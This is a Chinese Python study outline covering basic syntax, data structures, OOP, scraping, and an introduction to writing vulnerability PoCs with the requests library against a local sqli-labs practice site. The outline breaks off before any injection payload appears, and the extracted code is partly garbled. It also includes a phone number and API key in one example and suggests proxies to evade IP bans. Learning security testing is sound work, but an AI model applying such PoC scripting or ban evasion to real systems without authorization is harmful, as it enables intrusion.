Python
Python
发展历程
1991年:第一个Python编译器诞生
2000年:Python 2.0发布
2008年: Python 3发布
Python优缺点
优点:开源免费,语法简单,可移植,扩展性强
缺点:运行速度慢,代码加密困难
变量类型及标识符关键字
变量及类型
Python属于弱类型语言
弱类型语言有两个特点:
变量无须声明就可以直接赋值,对一个不存在的变量赋值就相当于定义了一个新变量。
变量的数据类型可以随时改变,比如,同一个变量可以一会儿被赋值为整数,一会儿被赋值为字符
串。
注意:弱类型并不等于没有类型!弱类型是说在书写代码时不用刻意关注类型,但是在编程语言的内
部仍然是有类型的。我们可以使用type()内置函数来检测某个变量或表达式的类型。
Python使用等号=作为赋值运算符。具体格式为:name = value
name表示变量名;value表示值,也就是要存储的数据。
例如,下面的语句将整数10赋值给变量n:n = 10
也就是说,n就代表整数10,使用n也就是使用10。
注意,变量是标识符的一种,它的名字不能随便起,要遵守Python标识符命名规范,还要避免和Python
内置函数以及Python保留字重名。
标识符和关键字
标识符
所有可以自主命名的内容都属于标识符,命名需要遵守标识符规范,如果使用不符合标准的标识符,将会报
错SyntaxError: invalid syntax(语法错误)
命名规则如下
第一个字符必须是字母或下划线_
标识符的其他的部分由字母、数字和下划线组成标识符对大小写敏感
标识符不能是Python中的关键字。
关键字
在Python中,具有特殊功能的标识符称为关键字。关键字是Python语言自己已经使用的了,不允许开发
者自己定义和关键字相同名字的标识符
查看关键字方法,打开cmd,输入python后按下回车进入python交换模式,依次输入命令import
keyword、keyword.kwlist获取关键字列表
['False', 'None', 'True', 'and', 'as', 'assert', 'async', 'await', 'break', 'class', 'continue', 'def', 'del', 'elif',
'else', 'except', 'finally', 'for', 'from', 'global', 'if', 'import', 'in', 'is', 'lambda', 'nonlocal', 'not', 'or', 'pass',
'raise', 'return', 'try', 'while', 'with', 'yield']
变量类型
强调基本的原因数据类型和数据结构指向的范围更加广泛,不要产生错误的认知,形成思维定式
1. int(整数类型)
2. float(浮点数)
因为计算机内部只认识1和0,所以浮点数强调的是小数的表现形式
3. string(字符串,字符序列)
4. boolean(布尔值)
5. bytes(二进制序列)
Python3新增了bytes类型,用于代表字节串,是一个类型。字符串(str)由多个字符组成,以字
符为单位进行操作;字节串(bytes)由多个字节组成,以字节为单位进行操作
由于bytes保存的就是原始的字节(二进制格式)数据,因此 bytes对象可用于在网络上传输数
据,也可用于存储各种二进制格式的文件,比如图片、音乐等文件。
6. None(空)
有了 False 和 0 为什么还要有None
因为 False 和 0 有时候也代表了一种结果
字节串与字符串之间的区别
bytes和str除操作的数据单元不同之外,它们支持的所有方法都基本相同,bytes也是不可变序列。
bytes对象只负责以字节(二进制格式)序列来记录数据,至于这些数据到底表示什么内容,完全由程序决
定。如果采用合适的字符集,字符串可以转换成字节串;反过来,字节串也可以恢复成对应的字符串
由于bytes保存的就是原始的字节(二进制格式)数据,因此 bytes对象可用于在网络上传输数据,也可用
于存储各种二进制格式的文件,比如图片、音乐等文件。
输入输出注释及运算符
Python基础语法——输出
普通输出
输出字符串
输出变量
输出表达式
格式化输出.format()方法
不设置指定位置,按默认顺序
设置指定位置
格式化输出print(f'……'')方法
格式化输入占位符方法
拼接与间隔
常用转义字符
\n 换行符,将光标位置一道下一行开头
\t 水平制表符,也即Tab键,一般相当于四个空格。
\\ 反斜线
\' 单引号
\" 双引号
Python基础语法——注释
单行注释以#开头,#右边的所有东西当做说明,而不是真正要执行的程序,起辅助说明作用。
多行注释使用是三个单引号(''')或三个双引号(""")
Python基础语法——输入
input()是 Python的内置函数用于从控制台读取用户输入的内容,python3中input()默认接收到的输入内
容是字符串类型。
input()函数的用法为: str = input(tipmsg)
说明:
str表示一个字符串类型的变量,input 会将读取到的字符串放入str中。
tipmsg表示提示信息,它会显示在控制台上,告诉用户应该输入什么样的内容;如果不写tipmsg,就不会
有任何提示信息。
注意:由于input()默认输入的内容是字符串类型
所以如果我们对输入的数字进行数学运算时会出错,原因在于我们输入的数字被当成了字符串。我们可
以使用Python 内置函数将字符串转换成想要的类型,比如:
int(string)将字符串转换成int类型;
float(string)将字符串转换成float类型;
Python基础语法——各类运算符及运算优先级
Python的运算符
算术运算符 说明 实例 结果
+ 加 12.45 + 15 27.45
* 乘 5 * 3.6 18.0
/ 除法 7/2 3.5
// 整除 7 // 2 3
算术运算符 说明 实例 结果
% 取余 7%2 1
** 次方运算 2 ** 4 16
Python运算符优先级
数据类型
Python数据类型——列表
列表
在实际开发中,经常需要将一组(不只一个)数据存储起来,以便后边的代码使用,列表就可以实现此
功能。
从形式上看,列表会将所有元素都放在一对中括号[门]里面,相邻元素之间用英文的逗号分隔,从内容上
看,列表可以存储整数、小数、字符串、列表、元组等任何类型的数据,并且同一个列表中元素的类型
也可以不同。
注意,在使用列表时,虽然可以将不同类型的数据放入到同一个列表中,但通常情况下不这么做,同一
列表中只放入同一类型的数据,这样可以提高程序的可读性。
列表的创建
使用中括号[]创建列表,一般使用=将它赋值给某个变量,便用此方式创建列表时,列表中元素可以有多
个,也可以一个都没有。列表可以存储整数、小数、字符串、列表、元组等任何类型的数据,并且筒一
个列表中元素的类型也可以不同,例如:
除了使用[]创建列表外,Python还提供了一个内置的函数list(),使用它可以将其它数据类型转换为列表类
型。例如将字符串转换成列表
列表的访问
打印整个列表:
我们可以使用索引访问列表某个元素(得到的是一个元素的值),也可以使用切片访问列表中的一组元
素(得到的是一个新的字列表),例如:
列表的常用操作
Python数据类型——元组
元组和列表类似,元组也是由一系列按特定顺序排序的元素组成。
元组和列表的不同之处在于:列表的元素是可以更改的,包括修改元素值,删除和插入元素,所以列表是
可变序列;而元组一旦被创建,它的元素就不可更改了,所以元组是不可变序列。元组也可以看做是不可
变的列表,通常情况下,元组用于保存无需修改的内容。
从形式上看,元组的所有元素都放在一对小括号( )中,相邻元素之间用英文逗号分隔,从存储内容上
看,元组可以存储整数、实数、字符串、列表、元组等任何类型的数据,并且在同一个元组中,元素的
类型可以不同
元组的创建
通过()创建元组,一般使用=将它赋值给某个变量,格式为:
tuplename = (element1,element2,..., elementn)
需要注意的一点是,当创建的元组中只有一个元素时,该元素后面必须要加一个逗号,否则Python解释
器会将它视为其他的数据类型。
除了使用()创建元组外,Python还提供了一个内置的函数tuple(),用来将其它数据类型转换为元组类型,
格式如下:
tuple(data)
元组的访问
和列表一样,我们可以使用索引 (Index)访问元组中的某个元素(得到的是一个元素的值),也可以使用切
片访问元组中的一组元素(得到的是一个新的子元组)。
为了更有效率的输出列表的每个数据,可以使用循环来对元组进行遍历:
元组的常用操作
由于元组是不可变序列,元组中的元素不能被修改,所以我们无法直接向元组中添加元素,只能采用拼
接的方式将两个元组合并为一个新的元组,例如:
由于元组是不可变序列,所以我们无法指定删除元组中的某个元素,但是我们可以删除整个元组
count()方法用来统计某个元素在列表中出现的次数
index()方法用来查找某个元素在列表中出现的位置
Python数据类型——字典
字典(dict)是一种无序的、可变的序列,它的元素以“键值对(key-value)”的形式存储
字典的创建
使用{}创建字典
由于字典中每个元素都包含两部分,分别是键(key)和值(value)因此在创建字典时,键和值之间使用冒号:
分隔,相邻元素之间使用逗号,分隔,所有元素放在大括号{}中,且同一字典中的各个键必须唯一,不能
重复
通过fromkeys()来创建字典
在Python中还可以使用dict字典类型提供的 fromkeys(方法创建带有默认值的字典,具体格式为︰
dictname = dict.fromkeys(list, value=None)
list参数表示字典中所有键的列表(list) ; value参数表示默认值,如果不写,则为空值None。这种创建方
式通常用于初始化字典,设置value的默认值。
通过dict()映射函数创建字典
字典的访问
列表和元组是通过下标来访问元素的,而字典不同,它通过键来访问对应的值。因为字典中的元素是无
序的,每个元素的位置都不固定,所以字典也不能像列表和元组那样,采用切片的方式一次性访问多个
元素。Python访问字典元素的具体格式为:
dictname[key]
其中,dictname表示字典变量的名字,key表示键名。注意,键必须是存在的,否则会抛出异常
除了上面这种方式外,Python更推荐使用dict类型提供的 get()方法来获取指定键对应的值。当指定的键
不存在时,get()方法不会抛出异常。get()方法的语法格式为:
dictname.get(key[.default])
其中,cdictname表示字典变量的名字;key表示指定的键; default用于指定要查询的键不存在时,此
方法返回的默认值,如果不手动指定,会返回None。
字典的常用操作
Python字典添加键值对,具体语法格式如下
dictname[key]=value
dictname表示字典名称。key 表示新添加的键。value表示新添加的值,只要是Python支持的数据类型
都可以。
Python字典删除键值对时可以使用del语句与pop()方法,del语句也可用于删除整个字典,他们的语法格式
如下:
del dictname[key]
dictname.pop(key)del dictname
dictname表示字典名称。key表示要删除的键。
clear()方法用于清除字典当中的所有元素,语法格式如下:
dictname.clear()
Python字典中键(key)的名字不能被修改,我们只能修改值(value) 。
字典中各元素的键必须是唯一的,因此,如果新添加元素的键与已存在元素的键相同,那么键所对应的
值就会被新的值替换掉,以此达到修改元素值的目的。
scores = {"数学":95,"英语":92,"语文"":84}
print("修改前:f".format(scores['数学']))
scores['数学']= 20
print("修改后:".format(scores['数学'])
keys()、values()和items()方法分别用于返回字典中的所有键(key),返回字典中所有键对应的值(value)和
返回字典中所有的键值对(key-value)
Python数据类型——集合
Python中的集合,和数学中的集合概念一样,用来保存不重复的元素,即集合中的元素都是唯一的,互
不相同。在形式集合和字典类似,Python集合会将所有元素放在一对大括号{}中,相邻元素之间用逗号
分隔,如下所示:
{element1,element2,...,elementn}
其中,elementn表示集合中的元素,个数没有限制。
同一集合中,只能存储不可变的数据类型,包括整形、浮点型、字符串、元组,无法存储列表、字典、
集合这些可变的数据类型,否则Python解释器会抛出TypeError 错误。
集合的创建
Python提供了2种创建set集合的方法,分别是使用{}创建和使用set()函数将列表、元组等类型数据转换
为集合。
使用{}创建
创建set集合可以像列表、元素和字典一样,直接将集合赋值给变量,从而实现创建集合的目的,其语法
格式如下︰
setname = {element1,element2,....elementn}
其中, setname表示集合的名称,起名时既要符合Python命名规范,也要避免与Python内置函数重名
使用set()函数创建集合
set()函数为Python的内置函数,其功能是将字符串列表、元组、range对象等可迭代对象转换成集合。
该函数的语法格式如
下:
setname = set(iteration)
其中,iteration就表示字符串、列表、元组、range 对象等数据。
条件与循环
Python条件语句
在Python中,可以使用if else语句对条件进行判断,然后根据不同的结果执行不同的代码,这称为选择结
构或者分支结构。
Python中的if else语句可以细分为三种形式,分别是if 语句、ifelse语句和if elif else语句。
Python导入模块方法
使用Python进行编程时,有些功能没必须自己实现,可以借助Python现有的标准库或者其他人提供的第
三方库,在python 用import域者from...import来导入相应的模块。
Python循环语句
For循环
while循环
break
停止循环
continue
跳过当前的执行逻辑,立即执行下一个循环语句单元
pass
跳过当前判断中的执行语句,后续语句继续执行
在 Python 中,pass是一个空语句,为了保持程序结构的完整性。一般情况下,pass不做任何事情,被
用作占位符,它的作用如下:
空语句do nothing
保证格式完整
保证语义完整
比如写了一个循环或者函数,尚未实现(暂未想好如何实现或者交付给其他人),但是会在将来的某个
时候实现。这时,如果循环体或者函数体为空,解释器就会报错。此时,可以使用pass语句构造一个不
做任何事情的主体。
函数的定义与调用
函数的定义
定义函数,也就是创建一个函数,可以理解为创建一个具有某些用途的工具。定义函数需要用def关键字
实现,具体的语法格式如下:
def函数名(参数列表):
//实现特定功能的多行代码
[return[返回值]]
其中,用括起来的为可选择部分,即可以使用,也可以省略。
此格式中,各部分参数的含义如下:
函数名:其实就是一个符合Python语法的标识符,但不建议读者使用a、b、c这类简单的标识符作
为函数名,函数名最好能够体现出该函数的功能。
参数列表:设置该函数可以接受多少个参数,多个参数之间用逗号(,)分隔,如不需要接受参数则
为空。
[return[返回值]]:整体作为函数的可选参数,用于设置该函数的返回值。也就是说,一个函数,可
以用返回值,也可以没有返回值,是否需要根据实际情况而定。
注意:在创建函数时,即使函数不需要参数,函数名后也必须保留一对空的"()",否则Python解释器将会
提示"invaild syntax"错误
函数的调用
调用函数也就是执行函数。如果把创建的函数理解为一个具有某种用途的工具,那么调用函数就相当于
使用该工具。函数调用的基本语法格式如下所示:
函数名()
如果该函数有返回值,我们可以通过一个变量来接收该值,当然也可以不接受。
变量名=函数名()
设置函数的说明文档
通过调用Python 的 help()内置函数或者__doc__属性,我们可以查看某个函数的使用说明文档。而该说
明文档都需要设计该函数的程序员自己编写,其实,函数的说明文档,本质就是一段字符串,只不过作
为说明文档,字符串的放置位置是有讲究的,函数的说明文档通常位于函数内部、所有代码的最前面。
函数参数
形参和实参
通常情况下,定义函数时都会选择有参数的函数形式,函数参数的作用是传递数据给函数,令其对接收
的数据做具体的操作处理。在使用函数时,经常会用到形式参数(简称“形参")和实际参数(简称“实参"),
他们之间的区别如下:
形式参数:在定义函数时,函数名后面括号中的参数就是形式参数
实际参数:在调用函数时,函数名后面括号中的参数称为实际参数
位置参数
有时也称必备参数,指的是必须按照正确的顺序将卖际参数传到函数中,换句话说,调用函数时传
入实参的数量必须和定义函数时的形参保持一致,否则 Python解释器会抛出 TypeError异常,同时实参
的位置也必须与形参保持一致,否则最后产生的结果会和预期不符。
例:设计一个求梯形面积的函数,并利用此函数求上底为5cm,下底为3cm,高为我m 的梯形的面积。
关键字参数
关键字参数是指使用形式参数的名字来确定输入的参数值。通过此方式指定函数实参时,不再需要与形
参的位置完全一致,只要将参数名写正确即可。
默认参数
在调用函数时如果不指定某个参数Python解释器会抛出异常。为了解决这个问题,Python允许为参数设
置默认值,即在定义函数时,直接给形式参数指定一个默认值。这样的话,即便调用函数时没有给拥有默
认值的形参传递参数,该参数可以直接使用定义函数时设置的默认值。
定义带有默认值参数的函数,其语法格式如下:
def函数名(...,形参名,形参名=默认值):
代码块
当我们调用函数时也可以对所有的参数传值,此时有默认值的参数会优先使用传递给它的值注:定义带有
默认参数的函数时,带有默认值得形参必须放在所有没默认值形参的后面,否则会有语法错误产生。
不定长参数
如果我们的函数在创建时不确定用户想传入多少个参数,就可以使用不定长参数
异常处理
错误与异常
什么是错误
逻辑错误(程序运行正常,只是最后结果不符合预期)
什么是异常
程序运行过程中,出现的意料之外的错误
如:打开的文件不存在、被除数为0、操作的数据类型不对、存储错误、互联网请求错误……
回溯信息
当程序运行时,发生了未处理的异常,Python就将终止执行程序,并以堆栈回溯
(Traceback,也称向后追踪)的形式显示异常发生的上下文。
回溯信息告诉我们应该去哪里寻找问题的根源,对解决问题非常有帮助。
常见异常
常见异常类
异常处理
异常处理
在代码被解释执行的过程中可能会抛出异常。那么也就是说,可能会发生,可能不会发生。对于这么不可预
测的异常状态如何处理?
即使程序出错,也不想让程序终止
如果出错了,需要特殊处理
异常处理机制try...except...
简单的异常处理格式
执行顺序
异常处理注意事项与建议
只执行最先匹配的一个except
如果父类异常在最前面,会吞噬所有子类异常
多except注意:
只会匹配一个except
要先写子类异常再写父类异常
如果except捕获的错误与触发的错误不一致,程序会捕获不到
建议:
1. 不建议使用异常来代替常规的检查,如if...else判断
2. 避免过多依赖于异常处理机制
3. 在必要的时候,可以手动引发异常(raise) =>函数或方法
实例:
捕获异常:
Exception:
所有异常的基类,所有的异常都是Exception的子类
处理异常颗粒度要细一点,尽量不要捕获基类Exception,尤其是数据处理的时候.
如何处理异常?
抛出新的异常
重新抛出
当然,我们手动让程序引发异常,很多时候并不是为了让其崩溃。事实上,raise语句引发的异常通常用try
except(else finally)异常处理结构来捕获并进行处理。例如:
Pass
用来指示当前处理语句没有正式写完,尽量不要忽略异常,否则代码的健壮度会很差,造成不可预知的
bug。
常用模块
导入第三方模块
导包的层级关系
模块(module)
以文件为载体,包含各类对象
包(package)
以文件夹为载体,包含了各类模块
库(lib)
包含了各类包
import 库
导包的命名冲突
通过as这个关键词来给当前模块/函数取个别名
form datatime import datatime as p_datatime
时间模块time
调用的都是系统级的接口,提供时间的访问和转换的功能
查看时间
获取当前时间
UTC time Coordinated Universal Time,世界协调时,又称格林尼治天文时间、世界标准时间。与UTC
time对应的是各个时区的local time,东N区的时间比UTC时间早N个小时,因此UTC time + N小时即为
东N区的本地时间;而西N区时间比UTC时间晚N个小时,即UTC time -N小时即为西N区的本地时间;中国
在东8区,因此比UTC时间早8小时,可以以UTC+8进行表示。
epoch time表示时间开始的起点;它是一个特定的时间,不同平台上这个时间点的值不太相同,对于Unix
而言,epoch time为1970-01-01 00:00:00 UTC。
timestamp(时间戳)也称为Unix时间或 POSKX时间;它是一种时间表示方式,表示从格林尼治时间1970
年1月1日0时0分0秒开始到现在所经过的毫秒数,其值为float类型。但是有些编程语言的相关方法返回
的是秒数(Python就是这样),这个需要看方法的文档说明。需要说明的是时间戳是个差值,其值与时区无
关。
时间的格式化输出
将时间对象转换为list,对相应的时间重新赋值后,通过time.struct_time生成一个新的时间对象
时间休眠
当前程序休眠n秒
time.sleep(3)
时间模块datetime
封装了time,提供了更高级和更友好的接口
查看时间
时间格式的转换
datetime.datetime -> str
时间运算
timedelta
只作用于datetime.datetime格式
面向对象
Python3面向对象
Python从设计之初就已经是一门面向对象的语言,正因为如此,在Python中创建一个类和对象是很容易
的。本章节我们将详细介绍Python的面向对象编程。
如果你以前没有接触过面向对象的编程语言,那你可能需要先了解一些面向对象语言的一些基本特征,
在头脑里头形成一个基本的面向对象的概念,这样有助于你更容易的学习Python的面向对象编程。
接下来我们先来简单的了解下面向对象的一些基本特征。
面向对象技术简介
类(Class):用来描述具有相同的属性和方法的对象的集合。它定义了该集合中每个对象所共有的属
性和方法。对象是类的实例。
类变量:类变量在整个实例化的对象中是公用的。类变量定义在类中且在函数体之外。类变量通常
不作为实例变量使用。
数据成员:类变量或者实例变量用于处理类及其实例对象的相关的数据。
方法重写:如果从父类继承的方法不能满足子类的需求,可以对其进行改写,这个过程叫方法的覆
盖(override) ,也称为方法的重写。
实例变量:定义在方法中的变量,只作用于当前实例的类。
继承:即一个派生类(derived class)继承基类( base class)的字段和方法。继承也允许把一个派
生类的对象作为一个基类对象对待。例如,有这样一个设计:一个Dog类型的对象派生自Animal
类,素以Dog也是一个Animal。
实例化:创建一个类的实例,类的具体对象。
方法:类中定义的函数。
对象:通过类定义的数据结构实例。对象包括两个数据成员(类变量和实例变量)和方法。
面向对象编程
面向对象编程是一种编程方式,此编程方式的落地需要使用“类”和“对象”来实现,所以,面向对象编程其
实就是对“类”和“对象”的使用。
类就是一个模板,模板里可以包含多个函数,函数里实现一些功能对象则是根据模板创建的实例,通过实
例对象可以执行类中的函数
特性
面向对象的三大特性是指:封装、继承和多态。
封装
封装,顾名思义就是将内容封装到某个地方.以后再去调用被封装在某处的内容。
所以,在使用面向对象的封装特性时,需要:
将内容封装到某处
从某处调用被封装的内容
slef
self是一个形式参数
所以,内容其实被封装到了对象obj1和obj2中,每个对象中都有name 和age属性,在内存里类似于下图
来保存。
调用
通过对线直接调用被封装的内容
上图展示了对象obj1和obj2在内容保存的方式,根据保存格式可以如此调用被封装的内容:对象.属性名
通过self间接调用被封装的内容
执行类中的方法时,需要通过self间接调用被封装的内容
综上所述,对于面向对象的封装来说,其实就是使用构造方法将内容封装到对象中,然后通过对象直接或
者self间接获取被封装的内容。
继承
继承,面向对象中的继承和现实生活中的继承相同,即:子可以继承父的内容。
例如:
猫可以:喵喵叫、吃、喝、拉、撒
狗可以:汪汪叫、吃、喝、拉、撒
如果我们要分别为猫和狗创建一个类,那么就需要为猫和狗实现他们所有的功能,如下所示:
上述代码不难看出,吃、喝、拉、撒是猫和狗都具有的功能,而我们却分别的猫和狗的类中编写了两次。
如果使用继承的思想,如下实现:
动物:吃、喝、拉、撒
猫:喵喵叫(猫继承动物的功能)
狗:汪汪叫(狗继承动物的功能)
多继承
是否可以继承多个类
如果继承的多个类每个类中都定了相同的函数,那么那一个会被使用呢?
Python的类可以继承多个类, Java和C#中则只能继承一个类
Python的类如果继承了多个类,那么其寻找方法的方式有两种,分别是:深度优先和广度优先
下图中B、C类继承D类,A类继承B、C类。
当类是经典类时,多继承情况下,会按照深度优先方式查找
当类是新式类时,多继承情况下,会按照广度优先方式查找
经典类与新式类的区别
经典类和新式类,从字面上可以看出一个老一个新,新的必然包含了跟多的功能,也是之后推荐的写法,从写
法上区分的话,如果当前类或者父类继承了object类,那么该类便是新式类,否则便是经典类。
经典类多继承
新式类多继承
总结
经典类:首先去A类中查找,如果A类中没有,则继续去B类中找,如果B类中么有,则继续去D类中找,
如果D类中么有,则继续去c类中找如果还是未找到,则报错
新式类:酋先去A类中查找,如果A类中没有,则继续去B类中找,如果B类中么有,则继续去c类中找,
如果c类中么有,则继续去D类中找,如果还是未找到,则报错
注意:在上述查找过程中,一旦找到,则寻找过程立即中断,便不会再继续找了
多态
在面向对象程序设计中,除了封装和继承特性外,多态也是一个常重要的特性,本节就带领大家详细了解
什么是多态。
我们都知道, Python是弱类型语言,其最明显的特征是在使用变量时,无需为其指定具体的数据类型。
这会导致一种情况,即同变量可能会被先后赋值不同的类对象,例如:
可以看到,a可以被先后赋值为CLanguage类和CPython类的对象
但这并不是多态。类的多态特性,还要满足以下2个前提条件:
继承:多态一定是发生在子类和父类之间
重写:子类重写了父类的方法。
可以看到,CPython和CLinux都继承自CLanguage类,且各自都重写了父类的say()方法。从运行结果可
以看出,同一变量a在执行
同一个say()方法时,由于a实际表示不同的类实例对象,因此a.say()调用的并不是同一个类中的say()方
法,这就是多态。
但是,仅仅学到这里,读者还无法领略Python类使用多态特性的精髓。真实,Python在多态的基础上,
衍生出了一种更灵活的编程机制。
继续对上面的程序进行改写:
此程序中,通过给WhoSay类中的say()函数添加一个who参数,其内部利用传入的who 调用say()方法。
这意味着,当调用WhoSay类中的say()方法时,我们传给who参数的是哪个类的实例对象,它就会调用
那个类中的say()方法。
作用域
程序创建,访问,改变一个变量时,都是在一个保存该变量的空间
进行,这个空间被称为命名空间,即作用域
L(Local)局部作用域
E(Enclosing)闭包函数外的函数中
G(Global)全局作用域
B(Built-in)内建作用域
以L->E->G->B的规则查找,即:在局部找不到,便会去局音外的局部找(例如闭包),再找不到就会去全
局找,再者去内建中找。
在def/class/lambda内进行赋值,就变成了其局部的作用域,局部作用域会覆盖全局作用域,但不会影
响全局作用域。
但是要注意,有时候想在函数内部引用全局的变量,疏忽了就会出现错误,比如:
在未被赋值之前引用的错误!为什么?因为在函数的内部,解释器探测到var被重新赋值了,所以var成为了
局部变量,但是在没有被赋值之前就想使用var,便会出现这个错误。解决的方法是在函数内部添加
globals var但运行函数后全局的var也会被修改。
闭包Closure
闭包的定义:如果在一个内部函数里,对在外部函数内(但不是在全局作用域)的变量进行引用,那么
内部函数就被认为是闭包(closure)
函数嵌套/闭包中的作用于
一样会报错-引用在赋值之前,Python3有个关键字nonlocal可以解决这个问题,但在Python2中还是不
要尝试修改闭包中的变量。
locals()和globals()
globals()
global和 globals()是不同的,global是关键字用来声明一个局部变量为全局变量。globals()和locals()提
供了基于字典的访问全局和局部变量的方式
比如:如果函数1内需要定义一个局部变量,名字另一个函数2相同,但又要在函数1内引用这个函数2。
locals()
locals()函数会以字典类型返回当前位置的全部局部变量。
对于函数,方法, lambda函式,类,以及实现了__call__方法的类实例,它都返回 True
重新认识函数
匿名函数
python使用lambda来创建匿名函数。
lambda只是一个表达式,函数体比def简单很多。
lambda的主体是一个表达式而不是一个代码块。仅仅能在lambda表达式中封装有限的逻辑进去。
lambda函数拥有自己的命名空间,且不能访问自有参数列表之外或全局命名空间里的参数。
虽然lambda函数看起来只能写一行,却不等同于C或C++的内联函数,后者的目的是调用小函数时
不占用栈内存从而增加运行效率。
语法
lambda函数的语法只包含一个语句,如下:
lambda [arg1 [,arg2,.......argn]]:expression
高阶函数
接受函数作为参数,或者把函数作为结果返回
map(映射)
对一个序列每个元素进行相同的操作,这个过程就叫映射
同等于
多用于和math库进行运算操作
filter()
filter(过滤)
filter(函数,可迭代用户)
函数中的表达式返回结果为False,就会被过滤
递归函数
在函数中调用自身的函数就叫递归函数
核心思想:
将大的任务拆分为子任务来解决复杂问题,只要大任务能拆分成子任务,就可以使用递归
F(n)= F(F(n-1))声明一个递归函数(阶乘)一定要有退出机制
爬虫基础
什么是爬虫?
指抓取众多公开网站网页上数据的相关技术。
爬虫有什么用?
可以爬取图片,爬取视频,只要是你能在互联网上找到的资源,你都能够通过爬虫获取。
爬虫的本质是什么?
模拟浏览器打开网页,获取在网页中我们想要获取的那部分数据。
Python爬虫架构
Python爬虫架构主要由五个部分组成,分别是调度器、URL管理器、网页下载器、网页解析
器、应用程序(爬取的有价值数据)。
调度器:相当于一台电脑的CPU,主要负责调度URL管理器、下载器、解析器之间的协调工作。
URL管理器:包括待爬取的URL地址和已爬取的URL地址,防止重复抓取URL和循环抓取URL实现URL
管理器主要用三种方式,通过内存、数据库、缓存数据库来实现。
网页下载器:通过传入一个URL地址来下载网页,将网页转换成一个字符串,网页下载器有urllib2 (
Python官方基础模块)包括需要登录、代理、和cookie,requests(第三方包)
网页解析器:将一个网页字符串进行解析,可以按照我们的要求来提取出我们有用的信息,也可以根
据DOM树的解析方式来解析。网页解析器有正则表达式(直观,将网页转成字符串通过模糊匹配的
方式来提取有价值的信息,当文档比较复杂的时候,该方法提取数据的时候就会非常的困难) 、
html.parser (Python自带的)、beautifulsoup (第三方插件,可以使用Python自带的html.parser进
行解析,也可以使用xml进行解析,相对于其他几种来说要强大一些)、xml(第三方插件,可以解析
xml和 HTML) ,html.parser和 beautifulsoup 以及xml都是以DOM树的方式进行解析的。
应用程序:就是从网页中提取的有用数据组成的一个应用。
基本流程
准备工作
通过浏览器查看分析目标网页,学习编程基本规范
获取数据
通过HTTP库向目标站点发起请求,请求可以包含额外的header信息,如果目标服务器能够响
应,就会得到一个responce,便是我们想要获取的额目标内容
解析内容
得到的内容可能是HTML、 json等格式,可以用页面解析库、正则表达式等进行解析
保存数据
可以将得到的数据保存为文本,或是各种格式
获取数据
urllib模块
获得一个GET请求:如果你的程序是通过用户输入查询检索的时候,一般用GET,便于分享;
获得一个POST请求:如果你的信息是一些比较敏感的,比如用户的注册名称,密码,身份证号等等一些
敏感的信息,一定要使用POST,这样安全。
构造请求头
异常处理模块
解析内容
正则表达式
正则表达式,又称规则表达式。(英语:Regular Expression,在代码中常简写为regex、regexp或
RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。
许多程序设计语言都支持利用正则表达式进行字符串操作。例如,在Perl中就内建了一个功能强大的正则
表达式引擎。正则表达式这个概念最初是由Unix中的工具软件(例如sed和grep普及开的。正则表达式
通常缩写成"regex”,单数有regexp、regex,复数有regexps、regexes、regexen。
BeautifulSoup4
补充: BeautifulSoup4
BeautifulSoup4将复杂的HTML文档转换成一个复杂的树形结构,每个节点都是python对象,对所有的对
象可以归纳为四种:
Tag
NvigableString
Beautifulsoup
Comment
find_all()
Tag
NvigableString
Beautifulsoup
Conmment
Comment对象是一个特殊类型的NavigableString对象,其输出的内容不包括注释符号
简单的查询方法
正则表达式
r'(.*)are(.*?).*'
re.S
忽略换行符
获取数据
标签解析
保存数据
主函数构造
Python编写PoC基础知识
PoC、Exp、 payload概念介绍
PoC
Exp
全称:Exploit 又叫漏洞利用程序
payload
渗透测试中所谓的payload是有效载荷
poc编写流程
了解漏洞详情,确定影响范围。搭建环境,复现漏洞
了解漏洞的原理、利用过程
判断漏洞是否存在的地方
开始着手写PoC,写一个的请求,检查漏洞是否存在
用python写poc需要具备哪些知识
python基本的输出输入
python的数据类型
python的流程控制
python的正则表达式
python的requests模块
python中其他的一些模块
Python requests模块
requests库介绍
requests库是用Python语言编写,用于访问网络资源的第三方库,它基于urllib,但比 urllib更加简单、
方便和人性化。通过 requests库可以帮助实现自动爬取 HTML 网页页面以及模拟人类访问服务器自动提
交网络请求。
requests里的安装
pip list
pip uninstall requests
pip install requests
pip install requests -i https://pypi.douban.com/simple
发送GET请求
requests——实现的简单易用的HTTP库,比 urllib更加简洁
requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10
url—― 请求的url
headers ——请求时构造的请求头
data―― 请求时带入的数据
verify —―取消https 告警
proxies ——代理设置
timeout ——请求响应超时处理
发送不带url参数的GET请求
导包
url存入变量(可选)
#导包
import requests
#请求存入url变量
url=r'http:l/sqlilabs.com/'
#发送请求,结果存入res变量
res=requests.get(url)
#输出请求结果res文本
print(res.text)
发送带url参数的GET请求
导包
url存入变量
参数传入变量(存入字典格式,可以存入多个)
发送请求——带参数
#导包
import requests
#请求url存入url变量
url = r'http://sqlilabs.com/Less-1/'
#参数设置存入params变量(字典)
params = {"id":"1"}
#发送请求,请求结果存入res变量
res = requests.get(url,params)
print(res.text)
扩展 多个参数怎么处理?
聚合数据 申请手机号码归属地查询接口
#导包
import requests
#设置请求存入url变量
url=r'http//apis.juhe.cn/mobile/get'
#设置请求参数存入params变量(字典)
params=
("phone":18600339776',"dtype":"xml","key":"9a5d93bad579eb08e22c271f0b525ba6")
#发送请求
res=requests.get(url,params)
#输出请求文本
print(res.text)
使用代理转发请求
我们使用requests进行一些网络数据读取工作的时候会高频率的访问某些网站,为了防止我们的真实IP
地址被对方拉黑,所以就需要再访问的时候使用假的IP地址,也就是所谓的代理,如下图所示,带有代
理的http请求的路径
import requests
#设置url变量
url=r'http://sqlilabs.com/'
# 配置代理地址,协议根据被访问网站的协议确定,代理地址有些不支持https,所以配置时务必看清楚
proxies = {"http":"http://127.0.0.1:8888"}
#发送请求
#使用代理
res=requests.get(url,stream=True,proxies=proxies)
ipandport=res.raw._connection.sock.getpeername()
print(res.headers)
print(ipandport)
发送POST请求
导包
url存入变量
http请求头存入变量
http请求体存入变量
发送请求体——带着头,带着体
import requests
url=r'http://sqlilabs.com/Less-12/'
#请求content-Type
req_head={"Content-Type":"application/x-www-form-urlencoded"}
#设置post请求体
req_body={"uname":"admin" ,"passwd":"admin" ,"submit":"Submit"}
proxies = {" http":"http://127.0.0.1:8888"}
#发送post登录请求
